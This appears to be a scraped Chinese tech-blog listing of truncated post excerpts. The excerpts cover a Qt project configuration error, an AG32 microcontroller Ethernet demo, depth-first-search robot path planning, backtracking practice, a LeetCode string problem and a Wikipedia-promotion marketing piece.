第一篇&#xff1a; 原文链接&#xff1a;https://blog.csdn.net/aoxuestudy/article/details/124312629 error:There’ no Qt version assigned to project mdi.vcxproj for configuration release/x64.Please assign a Qt installation in “Qt Project Settings”. 一、分…

AG32 MCU以太网应用实例demo

一. 前言 AGM32系列32位微控制器旨在为MCU用户提供新的自由度和丰富的兼容外设&#xff0c;以及兼容的引脚和功能。AG32F407系列产品具有卓越的品质&#xff0c;稳定性和卓越的价格价值。 AG32产品线支持其所有接口外设尽可能接近主流兼容性&#xff0c;并提供丰富的参考设计…

机器人路径规划:基于深度优先搜索(Depth-First-Search,DFS)算法的机器人路径规划(提供Python代码)

一、深度优先搜索算法介绍 深度优先搜索算法&#xff08;Depth-First-Search&#xff09;的基本思想是沿着树的深度遍历树的节点&#xff0c;尽可能深的搜索树的分支。当节点v的所有边都己被探寻过&#xff0c;搜索将回溯到发现节点v的那条边的起始节点。这一过程一直进行到已…

代码学习记录21--回溯算法第二天

随想录日记part21 t i m e &#xff1a; time&#xff1a; time&#xff1a; 2024.03.16 主要内容&#xff1a;今天主要是结合类型的题目加深对回溯算法的理解&#xff1a;1&#xff1a;组合总和&#xff1b;2&#xff1a;电话号码的字母组合 216.组合总和III17.电话号码的字母…

维基百科推广秘诀13个方法助你成为行业领导者-华媒舍

维基百科&#xff08;Wikipedia&#xff09;作为全球最大、最权威的在线百科全书&#xff0c;拥有海量的知识内容&#xff0c;被广大用户广泛使用。对于任何一个领域的从业者来说&#xff0c;建立自己的维基百科页面&#xff0c;无疑是提升行业影响力的重要手段。本文将向您介绍…

LEETCODE 100255. 成为 K 特殊字符串需要删除的最少字符数

整体思路: 1.可以看到这道题是要求是最小的&#xff0c;那么可以想到遍历所有情况 2.把题干已知条件转换为一个数组&#xff0c;那么只需要以数组每个元素为开头遍历所有情况即可。 3.对于一个数考虑其后面的情况&#xff0c;其后每个数等于这个数k和数本身的最小值(遍历累计求…